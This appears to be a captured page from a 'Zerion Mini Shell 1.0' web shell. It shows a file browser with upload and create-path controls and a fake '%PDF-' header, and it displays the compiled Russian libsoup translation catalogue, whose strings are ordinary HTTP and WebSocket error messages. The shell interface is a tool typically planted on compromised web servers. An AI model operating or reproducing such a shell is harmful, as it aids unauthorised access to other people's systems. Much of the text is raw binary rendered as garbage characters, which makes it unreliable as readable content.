%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-42-2204/176/usr/share/locale/ru/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-42-2204/176/usr/share/locale/ru/LC_MESSAGES/libsoup.mo

��,|;��#�5�'#!K"m"�)���
5;C'���#�&7Le"j� �����"*#M&q%�M�&328#k�!����	4�
V.��WE^T�d�8^
6�
1�
gL�0�M>P<�#�,�*'Hp?w�:�/B8!{+�9�YM]S�O��OB�U!Aw6�A�72Bj!"
%$#,()&*
	+' Cannot truncate SoupBodyInputStreamCan’t create a TLS server without a TLS certificateCan’t import non-socket as SoupSocketCan’t import unconnected socketConnection terminated unexpectedlyCould not import existing socket: Could not listen on address %s, port %d: Could not parse HTTP requestCould not parse HTTP responseCould not parse URI “%s”Date ModifiedDuplicated parameter in “%s” WebSocket extension headerFailed to completely cache the resourceHeader too bigHostname has no base domainHostname is an IP addressIncorrect WebSocket “%s” headerInvalid WebSocket keyInvalid hostnameInvalid seek requestInvalid “%s” URI: %sNameNetwork stream unexpectedly closedNo URI providedNo public-suffix list available.Not an HTTP URINot enough domainsOperation was cancelledOperation would blockOutput buffer is too smallServer ignored WebSocket handshakeServer rejected WebSocket handshakeServer requested unsupported extensionServer requested unsupported protocolServer returned a duplicated parameter in “%s” WebSocket extension headerServer returned incorrect “%s” keySizeThe server did not accept the WebSocket handshake.Unrecognized HTTP response encodingUnsupported URI scheme “%s”Unsupported WebSocket subprotocolUnsupported WebSocket versionWebSocket handshake expectedProject-Id-Version: libsoup master
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/libsoup/issues
PO-Revision-Date: 2021-09-18 09:50+0300
Last-Translator: Alexey Rubtsov <rushills@gmail.com>
Language-Team: Русский <gnome-cyr@gnome.org>
Language: ru
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);
X-Generator: Poedit 3.0
Не удалось отсечь SoupBodyInputStreamНевозможно создать TLS-сервер без TLS-сертификатаНевозможно импортировать объект, отличный от сокета, в качестве SoupSocketНевозможно импортировать неподключенный сокетСоединение было неожиданно разорваноНе удалось импортировать существующий сокет: Не удалось начать прослушивание по адресу %s (порт — %d): Не удалось разобрать HTTP-запросНе удалось разобрать HTTP-ответНе удалось разобрать URI «%s»Дата измененияПовторяющийся параметр «%s» в заголовке расширения WebsocketНе удалось полностью закэшировать ресурсСлишком большой заголовокИмя компьютера не содержит доменной частиИмя компьютера является IP-адресомНеправильный заголовок WebSocket «%s»Неверный ключ WebSocketНеверное имя компьютераНеверный запрос поискаНедопустимый URI «%s»: %sИмяСетевой поток неожиданно закрылсяНе указан URIПубличные суффиксы не доступны.Формат URI отличается от HTTPНедостаточно доменных имён в адресеДействие отмененоДействие заблокированоСлишком маленький буфер выводаСервер проигнорировал подтверждение связи WebSocketСервер отклонил подтверждение связи WebSocketСервер запросил неподдерживаемое расширениеСервер запросил неподдерживаемый протоколСервер вернул повторяющийся параметр в заголовке расширения WebSocket «%s»Сервер вернул неправильный ключ «%s»РазмерСервер не принимает подтверждение связи WebSocket.Нераспознанная кодировка HTTP-ответаНеподдерживаемая схема URI «%s»Неподдерживаемый подпротокол WebSocketНеподдерживаемая версия WebSocketОжидается подтверждение связи WebSocket

Zerion Mini Shell 1.0